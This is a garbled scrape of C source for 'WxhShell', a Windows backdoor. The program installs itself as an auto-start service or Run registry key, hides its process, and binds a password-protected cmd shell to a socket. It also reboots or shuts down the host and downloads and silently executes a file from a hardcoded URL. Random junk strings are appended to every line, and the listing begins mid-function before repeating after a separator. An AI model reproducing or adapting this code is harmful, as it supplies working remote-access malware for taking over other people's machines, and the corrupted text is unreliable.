    if(Boot(SHUTDOWN)) =x#FbvV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y[ reD  
    else { H!e 3~+)  
    closesocket(wsh); >PKBo  
    ExitThread(0); <{(/E0~V/<  
    } ;_kzcK!l  
    break; !SOrCMHx  
    } eZhPu'id\s  
  // 获取shell dP$GThGl  
  case 's': { M s9E@E  
    CmdShell(wsh); AtS;IRN@  
    closesocket(wsh); e`tLR- &  
    ExitThread(0); _K9VMczj  
    break; qL5I#?OMkU  
  } b}ODWdJ1  
  // 退出 Lju7,/UD  
  case 'x': { UAS@R`?cI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y+%sBqo @  
    CloseIt(wsh); < O*6 T%;  
    break; ;d.K_P  
    } Q }k.JS~#  
  // 离开 C=Fzu&N}  
  case 'q': { *TW=/+j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KP;(Q+qTx  
    closesocket(wsh); ;Z[]{SQ  
    WSACleanup(); V5}nOGV9  
    exit(1); V2Q$g^X'  
    break; SD\= m/W  
        } /{2*WI;  
  } t5k!W7C  
  } Myat{OF  
dth&?/MERL  
  // 提示信息 5@Bu99`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]36sZ *  
} ;.s l*q1A  
  } t,)N('m}=  
bZ _mYyBh  
  return; >M!xiQX  
} dGfVZDsr]  
gxPx&Z6jF  
// shell模块句柄 O^>jdl!TZ  
int CmdShell(SOCKET sock) _:n b&B  
{ Gm`}(;(A  
STARTUPINFO si; TOF '2&H  
ZeroMemory(&si,sizeof(si)); vh!v MB}}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wu<])&F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bc-yxjsw  
PROCESS_INFORMATION ProcessInfo; SZ![%)83  
char cmdline[]="cmd"; Q "r_!f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u]^N&2UW  
  return 0; [mxTa\  
} /76 1o\Q  
D-imL;|  
// 自身启动模式 m%+IPZ2m  
int StartFromService(void) %m5Q"4O  
{ {MAQ/5  
typedef struct ;32#t[i b  
{ Ax3W2s  
  DWORD ExitStatus; )Ag/Qep  
  DWORD PebBaseAddress; !;@_VWR  
  DWORD AffinityMask; 38V3o`f  
  DWORD BasePriority; 7DW]JK l  
  ULONG UniqueProcessId; "bg'@:4F  
  ULONG InheritedFromUniqueProcessId; g3@Rl2yQJ  
}   PROCESS_BASIC_INFORMATION; 3b'tx!tFN  
~wnOV#v  
PROCNTQSIP NtQueryInformationProcess; Z{IUy  
0rk]/--FGJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jcCoan  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \hO2p6  
O/%< }3Sq  
  HANDLE             hProcess; fqz28aHh  
  PROCESS_BASIC_INFORMATION pbi; #0I{.Wy]  
|4)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >4m'tZ8  
  if(NULL == hInst ) return 0; -37a.  
a^qNJ?R !  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y-piL8Xc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O u>u %  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q+SD6qM  
1PaUI#X"2F  
  if (!NtQueryInformationProcess) return 0; A \rt6/  
<HWS:'1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @4~=CV%j  
  if(!hProcess) return 0; Dq\ Jz~  
V{-AP=C7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1:C:?ZC#c  
n6WY&1ZE~  
  CloseHandle(hProcess); 3OyS8`  
LL^q1)o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P=N$qz$U  
if(hProcess==NULL) return 0; $FH18  
r90+,aLM#?  
HMODULE hMod; n>,L=wV  
char procName[255]; ;:S&F  
unsigned long cbNeeded; e[u?_h  
{",MCu_V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2 gq$C"  
 GJi~y  
  CloseHandle(hProcess); 05Fz@31~  
148V2H)  
if(strstr(procName,"services")) return 1; // 以服务启动 ?[TfpAtQ`  
dCYCHHHF  
  return 0; // 注册表启动 Zt -1h{7  
} $lIWd  
idc`p?XP  
// 主模块 _Jz8{` "  
int StartWxhshell(LPSTR lpCmdLine) aeyNdMk -  
{ D'<VYl"/  
  SOCKET wsl; l@j.hTO<  
BOOL val=TRUE; vg Ipj3u  
  int port=0; O-vGyNxP|  
  struct sockaddr_in door; sML=5=otx  
,ea^,H6  
  if(wscfg.ws_autoins) Install(); m .IU ;cR  
NE8 jC7  
port=atoi(lpCmdLine); [,EpN{l  
6\7nc FO3  
if(port<=0) port=wscfg.ws_port; gieN9S  
Z0!5d<  
  WSADATA data; L(S'6z~_9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z2gk[zY&  
Zv]x'3J#Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <>xJn{f0c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2A`A\19t  
  door.sin_family = AF_INET; %m,6}yt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (;x3} ]  
  door.sin_port = htons(port); <>eOC9;VY  
KT|RF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mpC`Yk  
closesocket(wsl); Ok5<TZ6t4k  
return 1;  @4d)R  
} i!2TH~zl  
oeSN9O  
  if(listen(wsl,2) == INVALID_SOCKET) { qL6c`(0  
closesocket(wsl); "@@I!RwA  
return 1; [97:4.  
} +[@z(N-h  
  Wxhshell(wsl); VLsxdwHgb  
  WSACleanup(); 'AGto'Yy;  
O-]mebTvw  
return 0; qs\2Z@;  
9 Gy  
} +:=(#Y  
(YBMsh  
// 以NT服务方式启动 onCKI,"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [AH6~-\x  
{ ( m\$hX  
DWORD   status = 0; v$~QCtc  
  DWORD   specificError = 0xfffffff; w&$d* E  
#&<)! YY5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \]Kh[z0"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3uU]kD^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mC&=X6Q]  
  serviceStatus.dwWin32ExitCode     = 0; uJx"W  
  serviceStatus.dwServiceSpecificExitCode = 0; yNW\?Z$@q  
  serviceStatus.dwCheckPoint       = 0; uY_SU-v  
  serviceStatus.dwWaitHint       = 0; m p<1yY]  
<99M@ cF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]Y6cwZOe  
  if (hServiceStatusHandle==0) return; -m'j]1  
i"zuil  
status = GetLastError(); AT2v!mNyCw  
  if (status!=NO_ERROR) %:>3n8n  
{ Sw^X2$h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 65 z"  
    serviceStatus.dwCheckPoint       = 0; ^ &E}r{?  
    serviceStatus.dwWaitHint       = 0; -aRU]kIf  
    serviceStatus.dwWin32ExitCode     = status; :.(;<b<\  
    serviceStatus.dwServiceSpecificExitCode = specificError; uZa9zs=} c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I{JU-J k|  
    return; 4p%A8%/q  
  } bn 6WjJ~Z+  
6-`|:[Q~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QY/hI `  
  serviceStatus.dwCheckPoint       = 0; DU%w1+u  
  serviceStatus.dwWaitHint       = 0; 1}hIW":3Sr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4%WzIzRb  
} _(J&aY\  
g&dPd7  
// 处理NT服务事件,比如:启动、停止 YDC mI@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hLJM%on  
{ _AV1WS;^^8  
switch(fdwControl) 4?N8R$  
{ AE: Z+rM*  
case SERVICE_CONTROL_STOP: r|4t aV&  
  serviceStatus.dwWin32ExitCode = 0; j Ja$a [  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I8oo~2Q w  
  serviceStatus.dwCheckPoint   = 0; a`Gx=8  
  serviceStatus.dwWaitHint     = 0; 8eA+d5k\.  
  { %1pYE Hn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A5,t+8`aci  
  } *5tO0_L  
  return; y"]n:M:(  
case SERVICE_CONTROL_PAUSE: y(R? ,wa=]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YV=QF J'  
  break;  mw_Ew]&  
case SERVICE_CONTROL_CONTINUE: *5bLe'^\|K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y_`-9'&  
  break; <Q|d&vDVfV  
case SERVICE_CONTROL_INTERROGATE: 5J8r8` t  
  break; R.7:3h  
}; [m^+,%m5]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cg*H.f%Mr  
} \~P=U;l=pO  
Lb LiB*D#s  
// 标准应用程序主函数 MO;X>D=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e1//4H::t  
{ A!1;}x  
|t$Ma'P  
// 获取操作系统版本 oYWR')8g  
OsIsNt=GetOsVer(); 0G!]=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jYNrD"n  
</uO e.l>Q  
  // 从命令行安装 >-&R47G  
  if(strpbrk(lpCmdLine,"iI")) Install(); E .1J2Ne  
rD>*j~_+P  
  // 下载执行文件 !w BJ,&E  
if(wscfg.ws_downexe) { TAjh"JJIV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h|X^dQb]  
  WinExec(wscfg.ws_filenam,SW_HIDE); fs/*V~@  
} VDTcR  
KfF!{g f  
if(!OsIsNt) { >u9Nz0?j  
// 如果时win9x,隐藏进程并且设置为注册表启动 tabT0  
HideProc(); W0I#\b18  
StartWxhshell(lpCmdLine); Bc3:}+l  
} );-~j  
else " R xP^l  
  if(StartFromService()) 0!v ->Dk  
  // 以服务方式启动 1;<R#>&,*  
  StartServiceCtrlDispatcher(DispatchTable); x@8a''  
else <nEi<iAY>U  
  // 普通方式启动 G "P4-  
  StartWxhshell(lpCmdLine); f6$b s+oP  
q -8t'7  
return 0; 3Hf0MAt  
} iR"N13  
;c$J=h]  
.k,YlFvj  
CdL< *AH  
=========================================== 0527Wj  
^*fQX1h<  
vloF::1  
ftH:r_"O#  
KZPEG!-5  
8QMPY[{   
" !ct4;.2 D  
\W1/p`  
#include <stdio.h> )>BHL3@  
#include <string.h> $.]l!cmi%Q  
#include <windows.h> 86nN"!{l:  
#include <winsock2.h> V)}rEX   
#include <winsvc.h> v%Wx4v@%SE  
#include <urlmon.h> ,AT[@  
(p%>j0<  
#pragma comment (lib, "Ws2_32.lib") A_KW(;50  
#pragma comment (lib, "urlmon.lib") y(K" -?  
~i 7^P9  
#define MAX_USER   100 // 最大客户端连接数 0Won9P  
#define BUF_SOCK   200 // sock buffer QY== GfHt  
#define KEY_BUFF   255 // 输入 buffer Y3Q9=u*5  
4j)tfhwd8  
#define REBOOT     0   // 重启 aMTu-hA  
#define SHUTDOWN   1   // 关机 qx%}knB  
\6\<~UX^  
#define DEF_PORT   5000 // 监听端口 qP<Lr)nUH  
v0L\0&+  
#define REG_LEN     16   // 注册表键长度 &c1A*Pl/:G  
#define SVC_LEN     80   // NT服务名长度 dO%W+K  
v$^Z6>vVI  
// 从dll定义API NO :a;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rx}r~0i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GgKEP,O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )p*}e8L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .1LCXW=  
F:aILx  
// wxhshell配置信息  W%\C_  
struct WSCFG { r7qh>JrO  
  int ws_port;         // 监听端口 3do)Vg4  
  char ws_passstr[REG_LEN]; // 口令 |fo0  
  int ws_autoins;       // 安装标记, 1=yes 0=no }NB}"%2  
  char ws_regname[REG_LEN]; // 注册表键名 B$Kn1 k  
  char ws_svcname[REG_LEN]; // 服务名 "yW:\   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7%sdtunf`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n0is\ZK 0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m)oJFF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [n}T|<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4WK3.6GN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {5  sO  
$q 2D+_  
}; c [5KG}  
)vxUT{;sH  
// default Wxhshell configuration A`R{m0A  
struct WSCFG wscfg={DEF_PORT, /t(C>$ }p  
    "xuhuanlingzhe", &iV{:)L  
    1, dUsx vho  
    "Wxhshell", --DoB=5%8  
    "Wxhshell", ,cq F3   
            "WxhShell Service", "Iix )Ue  
    "Wrsky Windows CmdShell Service", g&{9VK6.  
    "Please Input Your Password: ", =z8f]/k*>  
  1, i7ly[6{^pr  
  "http://www.wrsky.com/wxhshell.exe", VH:]@x//{  
  "Wxhshell.exe" yDGVrc'  
    }; GAAm0;  
{^N[("`  
// 消息定义模块 P67o{EdK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5scEc,JCi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B-r0"MX&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; * oybD=%4  
char *msg_ws_ext="\n\rExit."; aCL!]4K84$  
char *msg_ws_end="\n\rQuit."; jq!tT%o*B  
char *msg_ws_boot="\n\rReboot..."; 4 uQT5  
char *msg_ws_poff="\n\rShutdown..."; YX#-nyK  
char *msg_ws_down="\n\rSave to "; @$z<i `4  
0P]E6hWgg  
char *msg_ws_err="\n\rErr!"; >+[&3u  
char *msg_ws_ok="\n\rOK!"; 2;?I>~  
)YqXRm  
char ExeFile[MAX_PATH]; T' ~!9Q  
int nUser = 0; ,`aq+K  
HANDLE handles[MAX_USER]; ^,]B@ t2  
int OsIsNt;  Sr?#S  
LlSZr)X  
SERVICE_STATUS       serviceStatus; Hik3wPnp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m?&1yU9  
=yy5D$\  
// 函数声明 9`9R!=NM  
int Install(void); h*<P$t  
int Uninstall(void); wKsT7c'  
int DownloadFile(char *sURL, SOCKET wsh); C/-63O_  
int Boot(int flag); [VWUqlNt>  
void HideProc(void); uDZT_c'Y  
int GetOsVer(void); Rx+p.  
int Wxhshell(SOCKET wsl); k]I0o)+O.  
void TalkWithClient(void *cs); RH|XxH*  
int CmdShell(SOCKET sock); /g4f`$a  
int StartFromService(void); aT`%;i^  
int StartWxhshell(LPSTR lpCmdLine); 3Gip<\$v  
fS`$'BQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 42qYg(tZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'R:"5d  
NG6& :4!  
// 数据结构和表定义 -uy`!A  
SERVICE_TABLE_ENTRY DispatchTable[] = pf7it5  
{ [#sz WNfU  
{wscfg.ws_svcname, NTServiceMain}, cSm%s  
{NULL, NULL} B9J&=6`)  
}; ;"m ,:5%  
Xp}Yw"7  
// 自我安装 )=etG  
int Install(void) ~appY Av  
{ /QJ?bD#a  
  char svExeFile[MAX_PATH]; ~B(6+~%  
  HKEY key; f^.AD-  
  strcpy(svExeFile,ExeFile); EE W_gFn  
jNC4_q&  
// 如果是win9x系统,修改注册表设为自启动 y? co|  
if(!OsIsNt) { 2TA*m{\Hr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L5\WpM=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eET}r 24  
  RegCloseKey(key); >MvDVPi~+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >HS W]"k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zp# v Hs  
  RegCloseKey(key); X ' "SVO.  
  return 0; pLzk   
    } }_68j8`  
  } j+ LawW-  
} ih;]nJ]+-  
else { ,1"KHv  
}O4^Cc6  
// 如果是NT以上系统,安装为系统服务 q')R4=0 K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `kJ^zw+  
if (schSCManager!=0) `{xNXH]@  
{ aUtnR<6  
  SC_HANDLE schService = CreateService uF3qD|I\  
  ( t0T"@t#c  
  schSCManager, m RO~aD!N  
  wscfg.ws_svcname, qhz]Wm P   
  wscfg.ws_svcdisp, QD>"]ap,o  
  SERVICE_ALL_ACCESS, 4tS.G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E}tqQ*u  
  SERVICE_AUTO_START, ez6EjUk  
  SERVICE_ERROR_NORMAL, r'*}TM'8  
  svExeFile, : 7`[$<~E  
  NULL, h|"9LU4a  
  NULL, .?Gd'Lp  
  NULL, jav#f{'  
  NULL, 1wP-  
  NULL #"5 Dk#@  
  ); $+I;oHWI  
  if (schService!=0) $"H{4 x`-  
  { E0?iXSJ  
  CloseServiceHandle(schService); ])!o5`ltZ  
  CloseServiceHandle(schSCManager); a0ObBe'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;{" +g)u  
  strcat(svExeFile,wscfg.ws_svcname); UTH_^HAN#G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Sh8"F@P8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); " _ka<R..  
  RegCloseKey(key); ;h jwD  
  return 0; CtSl  
    } e;[F\ov %  
  } Pw61_ZZ4B\  
  CloseServiceHandle(schSCManager); ixT:)|'i  
} A?pbWt ~}  
} g #6E|n  
fk x \=  
return 1; HI11Jl}{  
} =^5Alb a/  
KW^7H  
// 自我卸载 y;o^- O  
int Uninstall(void) BjzPz  
{ .ODR]7{  
  HKEY key; q*7VqB  
vsl]92xI  
if(!OsIsNt) { c>)Yt^ q&K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d>t<_}  
  RegDeleteValue(key,wscfg.ws_regname); I]EbodAyZ,  
  RegCloseKey(key); 07^iP>?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ptZ <ow&  
  RegDeleteValue(key,wscfg.ws_regname); ^i} L-QR  
  RegCloseKey(key); yLQ*"sw\  
  return 0; x-?Sn' m  
  } Cy=Hy@C  
} rMhB9zB1  
} _`:1M2=  
else { csW43&  
L=sYLC6d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [S>2ASj  
if (schSCManager!=0) AGYc |;  
{ 7*Ej. HK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pv Gf\pu  
  if (schService!=0) +y3%3EKs1~  
  { aN8|J?JH  
  if(DeleteService(schService)!=0) { LBa[:j2  
  CloseServiceHandle(schService); 3 C<L  
  CloseServiceHandle(schSCManager); cZ2kYn 8  
  return 0; [CXrSST")E  
  } ZP\-T*)l$  
  CloseServiceHandle(schService); /VN f{p  
  } ]33>m|?@  
  CloseServiceHandle(schSCManager); $NZ-{dY{  
} gh8F 2V;<  
} EKsT~SS  
;k>&FWEG  
return 1; #T=LR@y  
} +w{*Xk)4  
&-B^~M*??  
// 从指定url下载文件 m4l& eEp  
int DownloadFile(char *sURL, SOCKET wsh) Bx4w)9+3  
{ Tw;3_Lj  
  HRESULT hr; 3GhRWB-U  
char seps[]= "/"; N%*5T[.  
char *token; j+uLV{~g6  
char *file; e(GP^oK  
char myURL[MAX_PATH]; 9E"vN  
char myFILE[MAX_PATH]; Ke2ccN  
\Yc'~2n  
strcpy(myURL,sURL); s)6U_  
  token=strtok(myURL,seps); Xy$3VU*  
  while(token!=NULL) +>{Y.`a;Jo  
  { pw)||Q  
    file=token; K+3IWZ&+dG  
  token=strtok(NULL,seps); 9{5&^RbCp  
  } %~2YE  
g| vNhq0|i  
GetCurrentDirectory(MAX_PATH,myFILE); K|hjEQRv  
strcat(myFILE, "\\"); F|e1"PkeoA  
strcat(myFILE, file); EkjN{$*  
  send(wsh,myFILE,strlen(myFILE),0); O\"3J(y,  
send(wsh,"...",3,0); <YhB8W9 P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZL&g_jC  
  if(hr==S_OK) W;!}#o|%s  
return 0; V4'YWdTi  
else HoRg^Ai?\  
return 1; &)AVzN+*h  
=IQ5<;U3  
} #AL=f'2=f  
DkvF5c&  
// 系统电源模块 W"}M1o  
int Boot(int flag) R|(q  
{ ,0~n3G  
  HANDLE hToken; }}\vV}s  
  TOKEN_PRIVILEGES tkp; =,_ +0M9  
LIvFx|  
  if(OsIsNt) { 8TLgNQP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QD:{U8YbF$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LXC9I/j/  
    tkp.PrivilegeCount = 1; [f1 (`<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _lGdUt 2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o:3dfO%nuM  
if(flag==REBOOT) { iB%gPoDCL@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w~"KA6^  
  return 0; Kgi<UkFP  
} X[&Wkr8x '  
else { }NzpiY9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,^w?6?,&l}  
  return 0; iw8yb;|z;A  
} _/6!yyl  
  } zxbpEJzpn  
  else { MHX?@. v  
if(flag==REBOOT) { $_o-~F2i5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ->g*</  
  return 0; '%dfz K*Z  
} x,|hU@h  
else { V C24sU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V-Sd[  
  return 0; h?BFvbAt  
} T"E6y"D  
} g!?:Ye`5  
?fUlgQ }N  
return 1; bzuEfFaL  
} r^3acXl  
QxVq^H  
// win9x进程隐藏模块 G MX?  
void HideProc(void) $c:ynjL|P-  
{ Vzdh8)Mu\  
W&& ;:Fr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vd 0ljA  
  if ( hKernel != NULL ) <`B,R*H{  
  { :D%"EJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Lvq>v0|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GT}F9F~  
    FreeLibrary(hKernel); jV>raCK_  
  } LcSX *MC  
[y'f|XN  
return; 723bkJw V  
} 3=FZ9>by  
T>x&T9  
// 获取操作系统版本 K;>9ZZtl  
int GetOsVer(void) v9w'!C)b  
{ i|w81p^o  
  OSVERSIONINFO winfo; /%}*Xh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u09:Z{tL;@  
  GetVersionEx(&winfo); -0$55pa/@:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >VP= MbN  
  return 1; ^;Y|3)vvB  
  else vY  }A  
  return 0; TZ(cu>  
} G-xDN59K  
P"y`A}Bx  
// 客户端句柄模块 / ';0H_  
int Wxhshell(SOCKET wsl) juka0/  
{ pQ=>.JU  
  SOCKET wsh; Y;@>b{s  
  struct sockaddr_in client; 1zm ulj%&  
  DWORD myID; Z~oo;xE  
5iz{op<$,  
  while(nUser<MAX_USER) 5!DBmAB  
{ wQP^WzNE  
  int nSize=sizeof(client); e vrXo"3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [S HXJ4P*  
  if(wsh==INVALID_SOCKET) return 1; %k-3?%&8  
ein4^o<f.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kw efs;<E?  
if(handles[nUser]==0) Rz bj  
  closesocket(wsh); s>;v!^N?u  
else 4zev^FR  
  nUser++; bJRN;g  
  } 66/3|83Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5][Ztx  
5R@  
  return 0; \6E|pbJ}x  
} !sDh4jQ`  
^?0DP >XA  
// 关闭 socket PP;}e  
void CloseIt(SOCKET wsh) +BVym~*^  
{ zLD0RBj7p  
closesocket(wsh); T (OW  
nUser--; v, n$^R  
ExitThread(0); 'Jt]7;04p  
} ^?cz,N~  
lE;Ewg  
// 客户端请求句柄 #!aN{nK0  
void TalkWithClient(void *cs) {1V($aBl  
{ "= 6_V?&w  
:3XA!o&.T3  
  SOCKET wsh=(SOCKET)cs; @&%'4j&+  
  char pwd[SVC_LEN]; i]Fp..`v~  
  char cmd[KEY_BUFF]; >XY`*J^  
char chr[1]; ORyE`h  
int i,j; NO|KVZ~  
iF-6Y0~8  
  while (nUser < MAX_USER) { u [m  
8YZbP5'  
if(wscfg.ws_passstr) { U=DmsnD,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A<5ZF27  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  J7=+  
  //ZeroMemory(pwd,KEY_BUFF); IE;~?W"  
      i=0; 9xO#tu]  
  while(i<SVC_LEN) { $ACvV "b  
iYDEI e  
  // 设置超时 |X0Y-  
  fd_set FdRead; SSz~YR^}Sr  
  struct timeval TimeOut; bvv|;6  
  FD_ZERO(&FdRead); xC*6vH]?  
  FD_SET(wsh,&FdRead); ),UX4%K=  
  TimeOut.tv_sec=8; Gb8D[1=u=  
  TimeOut.tv_usec=0; ,4zmb`dP<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c_-drS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WFO4gB*  
}4Tc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YVYu:}e3)  
  pwd=chr[0]; $}J5xG,}$  
  if(chr[0]==0xd || chr[0]==0xa) { (g[h 8 c  
  pwd=0; _A+s)]}  
  break; B^j  
  } Wc,~{  
  i++; w.H%R-Be  
    } OUeyklw  
RIb4!!',c  
  // 如果是非法用户,关闭 socket M)eO6oX|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B:gjAb}9T  
} /4a._@1h[y  
JRSSn]pw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 19O,a#{KHf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $^OvhnL/  
=+U `-J} g  
while(1) { d]:I(9K  
w8kOVN2b  
  ZeroMemory(cmd,KEY_BUFF); -R57@D>j\  
Fs{x(_LOr  
      // 自动支持客户端 telnet标准   q;<h[b?  
  j=0; _CW(PsfY  
  while(j<KEY_BUFF) { :uWw8`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _AQb6Nb  
  cmd[j]=chr[0]; \ ^ZlG.  
  if(chr[0]==0xa || chr[0]==0xd) { P%{^i]  
  cmd[j]=0; 1QLbf*zeIW  
  break; r<K(jG[:{f  
  } GliwY_  
  j++; k.uMp<)D  
    } zaah^.MA|  
uT}' Y)m  
  // 下载文件 5]n[]FW  
  if(strstr(cmd,"http://")) { V}dJ.I /#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FrTi+& <  
  if(DownloadFile(cmd,wsh)) G]+&!4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k`0>36  
  else A%`[mc]4#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k\WR  ]  
  } ~(Q)"s\1I  
  else { *^f<W6xc  
lTd #bN  
    switch(cmd[0]) { x 7~r,x(xM  
  p1&b!*o-&  
  // 帮助 7g%E`3)"  
  case '?': { Z?%zgqTXb  
